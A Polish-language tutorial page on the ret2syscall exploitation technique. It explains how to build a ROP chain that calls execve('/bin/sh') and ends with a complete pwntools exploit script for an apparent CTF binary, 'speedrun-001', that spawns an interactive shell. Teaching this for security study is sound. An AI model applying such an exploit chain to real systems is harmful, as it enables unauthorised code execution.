Ret2syscall
Ret2syscall
Podstawowe informacje
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla sys_execve
z pewnymi argumentami w celu wykonania /bin/sh
. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla.
Aby przygotować wywołanie syscalla, potrzebna jest następująca konfiguracja:
rax: 59 Określ sys_execve
rdi: wskaźnik do "/bin/sh" określ plik do wykonania
rsi: 0 określ brak przekazywanych argumentów
rdx: 0 określ brak przekazywanych zmiennych środowiskowych
Więc w zasadzie trzeba zapisać ciąg znaków /bin/sh
gdzieś, a następnie wykonać syscall
(będąc świadomym potrzebnego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania /bin/sh
w znanym obszarze.
Innym interesującym syscall'em do wywołania jest mprotect
, który pozwoliłby atakującemu zmodyfikować uprawnienia strony w pamięci. Może to być połączone z ret2shellcode.
Gadżety rejestrów
Zacznijmy od znalezienia jak kontrolować te rejestry:
Z tymi adresami jest możliwe zapisanie zawartości na stosie i załadowanie jej do rejestrów.
Zapisz ciąg znaków
Pamięć zapisywalna
Najpierw musisz znaleźć miejsce zapisywalne w pamięci
Zapisz ciąg znaków w pamięci
Następnie musisz znaleźć sposób na zapisanie dowolnej zawartości pod tym adresem
Automatyzacja łańcucha ROP
Następujące polecenie tworzy pełny łańcuch ROP dla sys_execve
dla statycznego pliku binarnego, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
32 bity
64 bity
Brakujące Gadżety
Jeśli brakuje Ci gadżetów, na przykład do zapisania /bin/sh
w pamięci, możesz użyć techniki SROP do kontrolowania wszystkich wartości rejestrów (w tym RIP i rejestrów parametrów) ze stosu:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated